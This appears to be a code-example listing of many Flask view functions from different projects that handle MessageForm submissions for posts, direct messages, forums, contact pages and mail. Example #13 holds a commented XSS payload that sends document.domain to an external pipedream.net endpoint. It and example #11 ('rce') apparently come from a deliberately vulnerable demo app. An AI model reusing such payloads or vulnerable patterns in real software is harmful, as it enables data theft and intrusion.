コード例 #1
0
def messages_add():
    """Add a message:

    Show form if GET. If valid, update message and redirect to user page.
    """

    if not g.user:
        flash("Access unauthorized.", "danger")
        return redirect("/")

    form = MessageForm()

    if form.validate_on_submit():
        # value_if_true if condition else value_if_false
        msg = ''

        if form.picture.data and form.emoji.data:
            chat = form.text.data + ' ' + form.emoji.data
            msg = Message(text=chat, picture=form.picture.data)
        elif not form.picture.data and form.emoji.data:
            chat = form.text.data + ' ' + form.emoji.data
            msg = Message(text=chat)
        elif form.picture.data and not form.emoji.data:
            msg = Message(text=form.text.data, picture=form.picture.data)
        else:
            msg = Message(text=form.text.data)

        msg.timestamp = datetime.utcnow(
        )  # bit of a bandaid for weird model behaviour when interval v short
        g.user.messages.append(msg)
        db.session.commit()

        return redirect(f"/users/{g.user.id}")

    return render_template('messages/new.html', form=form)
コード例 #2
0
def send_direct_message():
    """Send a direct message to a specific user"""

    # redirect if not accessed via a post request
    if request.method == "GET":
        return redirect(session["previous_url"])

    send_to_id = request.form.get("send-to")
    send_to = User.query.get(send_to_id)
    form = MessageForm()
    # check if form completed or if we're just rendering template
    if form.validate_on_submit():
        # insert DirectMessageThread and DirectMessage records
        add_direct_message(form.text.data, g.user.id, send_to_id)
        flash("Your message has been sent")
        return redirect(url_for("users_show", user_id=send_to_id))

    # check for existing messages between these two users
    existing_messages = check_for_existing_messages(g.user.id, send_to_id)

    return render_template(
        "/messages/new_direct_message.html",
        send_to=send_to,
        form=form,
        existing_messages=existing_messages,
    )
コード例 #3
0
ファイル: app.py プロジェクト: kamalkhadka/notify
def send_message_to_contact(id):
    contact = Contact.query.get_or_404(id)
    user = check_user_session(contact.user_id)
    if not user:
        flash('Unauthorized access')
        return redirect('/')

    form = MessageForm()

    if form.validate_on_submit():
        message = form.message.data
        subject = form.subject.data
        email = contact.email

        send_message(to_email=email,
                     message=message,
                     user=user,
                     subject=subject)
        flash(f'Message sent to {contact.first_name} {contact.last_name}')

        return redirect('/')
    else:
        return render_template('/users/contacts/send-message.html',
                               form=form,
                               contact=contact)
コード例 #4
0
def contact_us():
    message_form = MessageForm()
    message_form.textao.render_kw = {'placeholder': 'Digite sua mensagem aqui'}
    if message_form.validate_on_submit():
        try:
            loja = Loja.query.filter_by(id=current_user.id_loja).first_or_404()
            today = datetime.utcnow()
            send_sync_mail(
                '*****@*****.**', 'Report de erro',
                render_template('pass_email.txt',
                                user=current_user,
                                loja=loja,
                                day=today.day,
                                month=today.month,
                                year=today.year),
                render_template('pass_email.html',
                                user=current_user,
                                loja=loja,
                                day=today.day,
                                month=today.month,
                                year=today.year))
            flash("Aviso de erro realizado.")
            return redirect(url_for('contact_us'))
        except:
            flash("Aviso de erro não realizado, bug.")
            return redirect(url_for('contact_us'))
    else:
        flash("Erro no formulário enviado.")
        return redirect(url_for('contact_us'))
    return render_template('contact.html', form=message_form)
コード例 #5
0
def homepage():
    """Show homepage:

    - anon users: no messages
    - logged in: 100 most recent messages of followed_users
    """

    # if CURR_USER_KEY not in session:
    if g.user:

        form = MessageForm()

        if form.validate_on_submit():
            msg = Message(text=form.text.data)
            g.user.messages.append(msg)
            db.session.commit()

            return redirect("/")

        following_ids = [f.id for f in g.user.following]

        messages = (Message
                    .query
                    .filter(or_(Message.user_id.in_(following_ids), Message.user_id == g.user.id))
                    .order_by(Message.timestamp.desc())
                    .limit(100)
                    .all())

        return render_template('home.html', messages=messages, form=form)

    else:
        return render_template('home-anon.html')
コード例 #6
0
ファイル: views.py プロジェクト: sznote/flask
def home():
    # return "Hello, World!"  # return a string
    error = None
    print current_user.id

    context =   { 'title': "Login Page",
                  'creator': "Sahai Srichock",
                }
    #print "hello home"
    form =  MessageForm(request.form)

    if form.validate_on_submit():
        new_message = BlogPost(
            form.title.data,
            form.description.data,
            current_user.id
            )
        db.session.add(new_message)
        db.session.commit()
        flash('New entry was successfully posted. Thank.')
        return redirect(url_for('homes.home'))
        #return render_template(
        #'index.html', posts=posts, error=error, form=form, context=context)
    else:
        posts = db.session.query(BlogPost).all()
        return render_template(
            'index.html', posts=posts, error=error, form=form, context=context)  # render a template
コード例 #7
0
ファイル: message.py プロジェクト: firmitfeng/SurveysFlask
def sendMessage():
    form = MessageForm()
    if not current_user.is_administrator():
        to_users = [(u.lower.id, u.lower.name)
                    for u in current_user.lower.all()]
        to_users.extend([(u.upper.id, u.upper.name)
                         for u in current_user.upper.all()])
    else:
        to_users = [
            (u.id, u.name)
            for u in User.query.filter(User.id != current_user.id).all()
        ]

    form.to_user.choices = to_users
    if form.validate_on_submit():
        mesg = Message(subject=form.subject.data,
                       content=form.content.data,
                       sender_id=current_user.id,
                       receiver_id=form.to_user.data)
        mesg.root = mesg
        if current_user.is_administrator():
            mesg.type = MesgType.SYSTEM
        else:
            mesg.type = MesgType.USER
        db.session.add(mesg)
        db.session.commit()
        flash(u'发送成功')
        return redirect(url_for('main.listMessage'))

    return render_template('main/send_mesg.html',
                           pagetitle=u'发送消息',
                           mesgManage='active',
                           form=form)
コード例 #8
0
def messages_add():
    """Add a message:

    Show form if GET. If valid, update message and redirect to user page.
    """

    # if not g.user:
    #     flash("Access unauthorized.", "danger")
    #     return redirect("/")

    # TODO: FIX THIS
    
    # research decorator
        

    form = MessageForm()

    if form.validate_on_submit():
        msg = Message(text=form.text.data)
        g.user.messages.append(msg)
        db.session.commit()

        return redirect(f"/users/{g.user.id}")

    return render_template('messages/new.html', form=form)
コード例 #9
0
ファイル: app.py プロジェクト: kamalkhadka/notify
def send_group_message(id):
    group = Group.query.get_or_404(id)

    user = check_user_session(group.user_id)
    if not user:
        flash('Unauthorized access')
        return redirect('/')

    form = MessageForm()

    if form.validate_on_submit():
        message = form.message.data
        subject = form.subject.data
        emails = [contact.email for contact in group.contacts]

        # if sendgrid_status in [200, 202]:
        for email in emails:
            send_message(to_email=email,
                         message=message,
                         user=group.user,
                         subject=subject)
        flash(f'Message sent to {group.name}')
        # elif sendgrid_status == 429:
        # flash(f'Limit exceeded for today')

        return redirect('/')
    else:
        return render_template('/users/groups/send-group-message.html',
                               form=form,
                               group=group)
コード例 #10
0
def homePage():  #Returns data for the main home page, should be HTML data

    #mylcd.lcd_display_string("*", 1, 15)

    form = MessageForm()

    JoysRoom = False
    UpstairsBathroom = False

    if request.method == "POST":
        locations = request.form.getlist('location')
        if u'Upstairs Bathroom' in locations: UpstairsBathroom = True
        if u'Joys Room' in locations: JoysRoom = True

    if form.validate_on_submit():
        #THIS IS WHAT HAPPENS WHEN THE SUBMIT BUTTON IS PRESSED
        message = request.form.get("LCDMessage")

        app.logger.warning('Submit happened!')
        app.logger.warning(message)
        app.logger.warning("Joy\'s Room: " + str(JoysRoom))
        app.logger.warning("Upstairs Bathroom: " + str(UpstairsBathroom))

        ######Send message to LCD and do GPIO stuff here #########

        #####################

    return render_template('home.html', title='Blog Posts', form=form)
コード例 #11
0
def rce():
    mf = MessageForm()
    if mf.validate_on_submit():
        result = write_message_rce(mf.message.data)
        if len(result) == 0:
            flash('Message saved!')
        else:
            flash(result)
    return render_template('rce.html', form=mf)
コード例 #12
0
def new_message(post_id):
    form = MessageForm()
    if form.validate_on_submit():
        post = Message(content=form.content.data, post_id=post_id)
        db.session.add(post)
        db.session.commit()

        return redirect(url_for('index'))

    return render_template('create_post.html', form=form, legend='New Message')
コード例 #13
0
def xss_ref():

    # <img src="https://happypik.ru/wp-content/uploads/2019/09/odinokij-volk16.jpg" width=50 height=50>

    # 1337<script>var img = new Image();img.src = "https://enm3vddkwx8b.x.pipedream.net?some_data=" + document.domain;document.getElementById('body').appendChild(img);</script>

    mf = MessageForm()
    if mf.validate_on_submit():
        flash("Your message: '{}' was pushed!".format(mf.message.data))
    return render_template('xss_ref.html', form=mf)
コード例 #14
0
ファイル: views.py プロジェクト: devinstevenson/intoflask
def home():
    error = None
    form = MessageForm(request.form)
    if form.validate_on_submit():
        new_message = BlogPost(form.title.data, form.description.data, current_user.id)
        db.session.add(new_message)
        db.session.commit()
        flash("New entry was successfully posted. Thanks.")
        return redirect(url_for('home.home'))
    else:
        posts = db.session.query(BlogPost).all()
        return render_template('index.html', posts=posts, form=form, error=error)
コード例 #15
0
def index():
    form = MessageForm()
    if form.validate_on_submit():
        name = form.name.data
        body = form.body.data
        message = Message(name=name, body=body)
        db.session.add(message)
        db.session.commit()
        flash("表单已提交")
        return redirect(url_for('index'))
    messages = Message.query.order_by(Message.timestamp.desc()).all()
    return render_template('index.html', form=form, messages=messages)
コード例 #16
0
ファイル: app.py プロジェクト: fagcinsk/socilite
def messages(login):
    dst = User.get(login=login)
    form = MessageForm()
    if form.validate_on_submit():
        Message(src=current_user, dst=dst, text=form.text.data)
        return redirect(url_for('messages', login=login))

    messages = Message.select(
        lambda m: (m.dst == dst and m.src == current_user) or
        (m.src == dst and m.dst == current_user)).order_by(
            lambda m: m.created_at)
    return render_template('messages.html', messages=messages, form=form)
コード例 #17
0
def messages_add():
    """Add a message"""

    form = MessageForm()

    if form.validate_on_submit():
        msg = Message(text=form.text.data)
        g.user.messages.append(msg)
        db.session.commit()

        return redirect(f"/users/{g.user.id}")

    return render_template('messages/new.html', form=form)
コード例 #18
0
def home():
    global current_message
    form = MessageForm()
    if form.validate_on_submit():
        message = form.message.data
        current_message = message[:16]
        flash(
            f'Your message \'{current_message}\' has been submitted and will be displayed shortly!',
            'success')
        return redirect(url_for('home'))
    return render_template('index.html',
                           form=form,
                           current_message=current_message)
コード例 #19
0
ファイル: views.py プロジェクト: jreiher2003/jeff-heroku
def new_blogpost(author_id):
    error = None
    form = MessageForm(request.form)
    if form.validate_on_submit():
        newpost = BlogPost(title=form.title.data, 
                           description=form.description.data,
                           author_id=current_user.id)
        db.session.add(newpost)
        db.session.commit()
        flash('your post was successful', 'success')
        return redirect(url_for('blog'))

    return render_template('create-post.html', form=form, error=error)
コード例 #20
0
ファイル: views.py プロジェクト: jreiher2003/jeff-heroku
def new_blogpost(author_id):
    error = None
    form = MessageForm(request.form)
    if form.validate_on_submit():
        newpost = BlogPost(title=form.title.data,
                           description=form.description.data,
                           author_id=current_user.id)
        db.session.add(newpost)
        db.session.commit()
        flash('your post was successful', 'success')
        return redirect(url_for('blog'))

    return render_template('create-post.html', form=form, error=error)
コード例 #21
0
ファイル: app.py プロジェクト: jontoy/warbler
def messages_add():
    """Add a message:
    Show form if GET. If valid, update message and redirect to user page.
    """

    form = MessageForm()

    if form.validate_on_submit():
        msg = Message(text=form.text.data)
        g.user.messages.append(msg)
        db.session.commit()
        return redirect(url_for('users_show', user_id=g.user.id))

    return render_template('messages/new.html', form=form)
コード例 #22
0
ファイル: main.py プロジェクト: ipeacocks/docker-flask
def main():
    error = None
    form = MessageForm(request.form)
    if request.method == 'POST':
        if form.validate_on_submit():
            new_message = Messages(datetime.datetime.utcnow(),
                                   form.message.data)
            db.session.add(new_message)
            db.session.commit()
            return redirect(url_for('main'))
    return render_template('main.html',
                           messages=list_messages(),
                           form=form,
                           error=error)
コード例 #23
0
def messages_add():
    """Add a message:

    Show form if GET. If valid, update message and redirect to user page.
    """

    form = MessageForm()

    if form.validate_on_submit():
        msg = Message(text=form.text.data)
        g.user.messages.append(msg)
        db.session.commit()

        return redirect(f"/users/{g.user.id}")
コード例 #24
0
ファイル: views.py プロジェクト: jreiher2003/jeff-heroku
def edit_blogpost(author_id, blog_id):
    error = None
    editpost = db.session.query(BlogPost).filter_by(id=blog_id).one()
    form = MessageForm(obj=editpost)
    if form.validate_on_submit():
        editpost.title = form.title.data
        editpost.description = form.description.data
        db.session.add(editpost)
        db.session.commit()
        flash("Post successfully edited", "success")
        return redirect(url_for('blog'))
    
    return render_template('edit-post.html', editpost=editpost, 
                            form=form, error=error)
コード例 #25
0
ファイル: views.py プロジェクト: smartpony/forum
def forum(page=1):
    # Нужная страница
    if request.args.get('page'):
        page = int(request.args.get('page'))

    # Разбиение на страницы
    pagination = Pagination(page, TOPIC_PER_PAGE, ForumTopic.query.count())

    # Форма для постинга сообщений
    form_topic = TopicForm()
    form_message = MessageForm()

    # Если отправлена форма постинга
    if request.method == 'POST' and form_topic.validate_on_submit() and form_message.validate_on_submit():
        # Данные из формы c применением форматирования
        data_topic = form_topic.topic.data
        data_message = message_format(form_message.message.data, True)
        # Создание темы и обновление счётчиков у пользователя
        new_topic = ForumTopic(name=data_topic, author_id=current_user.id)
        current_user.message_count += 1
        current_user.topic_count += 1
        db.session.add(new_topic)
        # Коммит в этом месте нужен, чтобы появился ID
        db.session.commit()
        # Создание сообщения
        new_mes = ForumMessage(topic_id=new_topic.id, author_id=current_user.id, text=data_message)
        db.session.add(new_mes)
        db.session.commit()
        return(redirect(url_for('topic', topic_id=str(new_topic.id))))

    # Выборка всех тем с счётчиком сообщений для каждой
    # Подзапрос
    all_topics_subq = db.session.query(
        ForumMessage.topic_id, func.count(ForumMessage.id).label('mes_count')).\
        group_by(ForumMessage.topic_id).\
        subquery()
    # Основной запрос
    all_topics = db.session.query(
        ForumTopic, all_topics_subq.c.mes_count).\
        join(all_topics_subq, ForumTopic.id == all_topics_subq.c.topic_id).\
        order_by(ForumTopic.time_last.desc()).all()

    # Вернуть страницу
    return(render_template('forum.html',
        user=current_user,
        all_topics=all_topics,
        form_topic=form_topic,
        form_message=form_message,
        pagination=pagination))
コード例 #26
0
def messages_add():
    if not g.user:
        flash("Access unauthorized.", "danger")
        return redirect("/")

    form = MessageForm()

    if form.validate_on_submit():
        msg = Message(text=form.text.data)
        g.user.messages.append(msg)
        db.session.commit()

        flash('New Warble successfully added!', 'success')
        return redirect(f"/users/{g.user.id}")

    return render_template('messages/new.html', form=form)
コード例 #27
0
def home():
    error = None
    form = MessageForm(request.form)
    if form.validate_on_submit():
        new_message = BlogPost(form.title.data, form.description.data,
                               current_user.id)
        db.session.add(new_message)
        db.session.commit()
        flash("New entry was successfully posted. Thanks.")
        return redirect(url_for('home.home'))
    else:
        posts = db.session.query(BlogPost).all()
        return render_template('index.html',
                               posts=posts,
                               form=form,
                               error=error)
コード例 #28
0
ファイル: views.py プロジェクト: jreiher2003/jeff-heroku
def edit_blogpost(author_id, blog_id):
    error = None
    editpost = db.session.query(BlogPost).filter_by(id=blog_id).one()
    form = MessageForm(obj=editpost)
    if form.validate_on_submit():
        editpost.title = form.title.data
        editpost.description = form.description.data
        db.session.add(editpost)
        db.session.commit()
        flash("Post successfully edited", "success")
        return redirect(url_for('blog'))

    return render_template('edit-post.html',
                           editpost=editpost,
                           form=form,
                           error=error)
コード例 #29
0
ファイル: views.py プロジェクト: syemoore/info3180-lab3
def contact():
    """Render the website's contact page."""
    theForm = MessageForm()

    if request.method == 'POST':
        if theForm.validate_on_submit():
            name = theForm["name"]
            email = theForm["email"]
            subject = theForm["subject"]
            message = theForm["message"]

            send(name, email, subject, message)

            flash('Successful')
            return redirect(url_for('home'))
    return render_template('contact.html', form=theForm)
コード例 #30
0
ファイル: views.py プロジェクト: smartpony/forum
def topic(topic_id, page=1):
    # Объект текущего топика
    current_topic = ForumTopic.query.get(topic_id)

    # Нужная страница
    if request.args.get('page'):
        page = int(request.args.get('page'))

    # Проверка существования объекта
    if not current_topic:
        abort(404)

    # Форма добавления нового сообщения
    form_message = MessageForm()

    # Разбиение на страницы
    pagination = Pagination(page, MESSAGE_PER_PAGE, current_topic.message.count())

    # Если отправлена форма постинга
    if request.method == 'POST' and form_message.validate_on_submit():
        # Данные из формы c применением форматирования
        data_message = message_format(form_message.message.data, True)
        # Создание сообщения
        new_mes = ForumMessage(topic_id=topic_id, author_id=current_user.id, text=data_message)
        current_topic.time_last = datetime.utcnow()
        current_user.message_count += 1
        db.session.add(new_mes)
        # Запись последнего автора темы
        ForumTopic.query.get(topic_id).editor_id = current_user.id
        db.session.commit()

        # Вернуть последнюю страницу
        if pagination.last_full:
            return(redirect(url_for('topic', topic_id=topic_id, page=pagination.pages+1)))
        else:
            return(redirect(url_for('topic', topic_id=topic_id, page=pagination.pages)))

    # Счётчик просмотров +1
    current_topic.views += 1
    db.session.commit()

    # Вернуть страницу
    return(render_template('topic.html',
        user=current_user,
        topic=current_topic,
        form_message=form_message,
        pagination=pagination))
コード例 #31
0
ファイル: app.py プロジェクト: jontoy/warbler
def direct_message(user_id):
    """Send a direct message:
    Show form if GET. If valid, update message and redirect to logged in user's page.
    """
    recipient = User.query.get_or_404(user_id)
    form = MessageForm()

    if form.validate_on_submit():
        dm = DirectMessage(author_id=g.user.id,
                           recipient_id=user_id,
                           text=form.text.data)
        db.session.add(dm)
        db.session.commit()

        return redirect(url_for('users_show', user_id=g.user.id))

    return render_template('messages/new.html', recipient=recipient, form=form)
コード例 #32
0
ファイル: views.py プロジェクト: hedgecore/simplelogon
def home():
    error = None
    form = MessageForm(request.form)
    #db.session.delete(information)
    if form.validate_on_submit():
        new_message = information(
            form.title.data,
            form.description.data,
            current_user.id
        )
        db.session.add(new_message)
        db.session.commit()
        flash('Your information was successfully updated. Thanks.')
        return redirect(url_for('home.home'))
    else:
        posts = db.session.query(information).all()
        return render_template(
            'index.html', posts=posts, form=form, error=error)
コード例 #33
0
ファイル: app.py プロジェクト: mahdimq/warbler
def messages_add():
    """Add a message:

    Show form if GET. If valid, update message and redirect to user page.
    """

    do_authorize()

    form = MessageForm()

    if form.validate_on_submit():
        msg = Message(text=form.text.data)
        g.user.messages.append(msg)
        db.session.commit()

        return redirect(f"/users/{g.user.id}")

    return render_template("messages/new.html", form=form)
コード例 #34
0
ファイル: app.py プロジェクト: xombxomb/wustl330complete
def viewPhoto():
    photoID = request.args.get('photoid')
    form = MessageForm()
    photojson = "static/json_data/" + photoID + ".json"
    with open(photojson) as json_:
        photo_data = json.load(json_)

    if form.validate_on_submit():
        contact = form.number.data
        mediaurl = form.media.data
        print(contact)
        print(mediaurl)
        message = client.messages.create(to=contact,
                                         from_="+13143100209",
                                         body="Heres your pic!",
                                         media_url=[mediaurl])
        return redirect('/index')

    return render_template('view.html', photo=photo_data, form=form)
コード例 #35
0
def channelPage(channel_title):
	""" Channel Page. """
	""" Route takes GET request with title string.
		Looks for that string channel name and returns it.
		Else returns channels page with channel not found error. """
	
	""" Get Channel From DataBase if it exists. """	
	channel = Channel.query.filter_by(title=channel_title).first_or_404()
	#channel = Channel.query.filter_by(title=channel_title).first()	
	""" If there is no Channel, redirect to Channels list. """
	if channel == None:

		error = "No Channel"

		return render_template("channels_list.html", error=error)

	""" Channel Info. """
	
	""" list of Messages from Channel. Send first 20. """
	messages = channel.messages
	
	if not messages:
		messages = "No Messages."

	""" List of Storys from Channel. Send first 20. """
	storys = channel.storys 
	
	if not storys:
		storys = "No Storys."
	
	form = MessageForm()
	""" Get values from form. """
	
	if form.validate_on_submit():
		""" Make sure . """
		
		message = Message(user_id=current_user.id, channel_id=channel.id, message_text=form.message_text.data, user=current_user, channel=channel)
		db.session.add(message)
		db.session.commit()		
		
		return render_template("channel_page.html", channel=channel, messages=messages, storys=storys, form=form)

	return render_template("channel_page.html", channel=channel, messages=messages, storys=storys, form=form)
コード例 #36
0
def contact():
    """Render the website's contact page."""
   
    contact_form = MessageForm()
    
    if request.method == 'POST':
        if contact_form.validate_on_submit():
            # Get validated data from form
            name = contact_form["name"]
            email = contact_form["email"]
            subject = contact_form["subject"]
            message = contact_form["message"]
            
            send_email(name, email, subject, message)
            
            flash('Message Sent')
            return redirect(url_for('home'))
            
    return render_template('contact.html', form=contact_form)
コード例 #37
0
def messages_add():
    """Add a message:

    Show form if GET. If valid, update message and redirect to user page.
    """

    if not g.user:
        flash("Access unauthorized.", "danger")
        return redirect(url_for('homepage'))

    form = MessageForm()

    if form.validate_on_submit():
        msg = Message(text=form.text.data)
        g.user.messages.append(msg)
        db.session.commit()

        return redirect(url_for('users_show', user_id=g.user.id))

    return render_template('messages/new.html', form=form)
コード例 #38
0
ファイル: views.py プロジェクト: jreiher2003/flask-heroku
def home():
    error = None
    form = MessageForm(request.form)
    if form.validate_on_submit():
        new_message = BlogPost(
            form.title.data,
            form.description.data,
            current_user.id
        )

        db.session.add(new_message)
        db.session.commit()
        flash('New entry was successfully posted. Thanks.', 'bg-success')
        return redirect(url_for('home.home'))
    else:
        # current_u = current_user()
        posts = db.session.query(BlogPost).all()
        u_posts = db.session.query(User,BlogPost).filter(current_user.id==BlogPost.author_id)
        return render_template(
            'index.html', posts=posts, form=form, u_posts=u_posts, error=error)
コード例 #39
0
def home():
    error = None
    form = MessageForm(request.form)
    if form.validate_on_submit():
        new_message = BlogPost(
            form.title.data,
            form.description.data,
            current_user.id
        )
        db.session.add(new_message)
        db.session.commit()
        flash('New entry was successfully posted. Thanks.')
        return redirect(url_for('home.home'))
    else:
        tracks = db.session.query(Track).order_by(Track.upvote.desc()).all()
        user = User.query.filter_by(id=current_user.id).first()
        #songs = os.listdir(os.path.abspath(app.config['UPLOAD_FOLDER']))
        #folder=os.path.abspath(app.config['UPLOAD_FOLDER'])
        return render_template(
            'index.html', form=form, error=error, tracks=tracks, username=user.name)
コード例 #40
0
ファイル: views.py プロジェクト: smartpony/forum
def edit_message(message_id):
    edit_message = ForumMessage.query.get(message_id)

    # Проверка существования объекта
    if not edit_message:
        abort(404)

    # Форма постинга сообщения
    form_message = MessageForm()

    # Если отправлена форма постинга
    if request.method == 'POST' and form_message.validate_on_submit():
        # Данные из формы c применением форматирования
        edit_message.text = message_format(form_message.message.data, True)
        # Отметка о дате изменения
        edit_message.date_edit =  datetime.utcnow()
        # Отметка о последнем редакторе
        edit_message.editor_id = current_user.id
        db.session.commit()
        # Вернуть страницу топика
        return(redirect(url_for('topic', topic_id=edit_message.topic_id)))

    # Является ли пользователь автором сообщения или админом/модером
    if edit_message.author == current_user or current_user.role < 2:
        # Вывод старого сообщения в форме
        form_message.message.data = edit_message.text.replace('<', '[').replace('>', ']')
        # Вывод странички
        return(render_template('message_edit.html',
            user=current_user,
            message=edit_message,
            form_message=form_message))
    # Если нет, то выдать ошибку
    else:
        return(render_template('info.html',
            user=current_user,
            text="You can't edit message if you are not it's author"))
コード例 #41
0
ファイル: views.py プロジェクト: smartpony/forum
def mail_write(reply=None):
    # Форма для нового сообщения
    form_recepient = RecepientForm()
    form_subject = TopicForm()
    form_message = MessageForm()

    # Если отправлена форма с новым сообщением
    if request.method == 'POST' and \
        form_recepient.validate_on_submit() and \
        form_subject.validate_on_submit() and \
        form_message.validate_on_submit():
            # Данные из формы c применением форматирования
            data_recipient = form_recepient.recepient.data
            data_subject = form_subject.topic.data
            data_message = message_format(form_message.message.data, True)
            # От кого и кому отправлено сообщение
            sender_id = current_user.id
            recipient_id = User.query.filter_by(login=data_recipient).first()
            if recipient_id:
                recipient_id = recipient_id.id
            else:
                return(render_template('info.html',
                    user=current_user,
                    text='No such user'))
            # Создание сообщений в отправленных у посылающего и
            # во входящих у того, кому адресовано письмо
            new_message = Mailbox(sender_id=current_user.id,
                owner_id=sender_id,
                directory=1,
                recipient_id=recipient_id,
                subject=data_subject,
                text=data_message,
                read=True)
            db.session.add(new_message)
            new_message = Mailbox(sender_id=current_user.id,
                owner_id=recipient_id,
                directory=0,
                recipient_id=recipient_id,
                subject=data_subject,
                text=data_message)
            db.session.add(new_message)
            db.session.commit()
            # Перейти в отправленные
            return(redirect(url_for('mailbox', box='sent')))

    # Заполнение полей надо делать после проверки отправки, иначе
    # form_message.message.data останется =quote и не перезапишется
    # теми данными, которые ввёл пользователь

    # Если это ответное сообщение
    reply = request.args.get('reply')
    recepient = ''
    subject = ''
    if reply:
        previous_message = Mailbox.query.get(reply)
        recepient = previous_message.sender.login
        subject = 'Re: ' + previous_message.subject
        text = message_format(previous_message.text, False)
        quote = ''
        for line in text.split('\n'):
            if line[:3] == '>> ':
                quote += '>> ' + line + '\n'
            else:
                for i in range(0, len(line), 50):
                    quote += '>> ' + line[i:i+50] + '\n'
        quote += '\n'
        form_message.message.data = quote

    # Все пользователей для выбора в качестве адреса
    all_users = User.query.all()

    return(render_template('mail_write.html',
        user=current_user,
        recepient=recepient,
        subject=subject,
        form_recepient=form_recepient,
        form_subject=form_subject,
        form_message=form_message,
        all_users=all_users))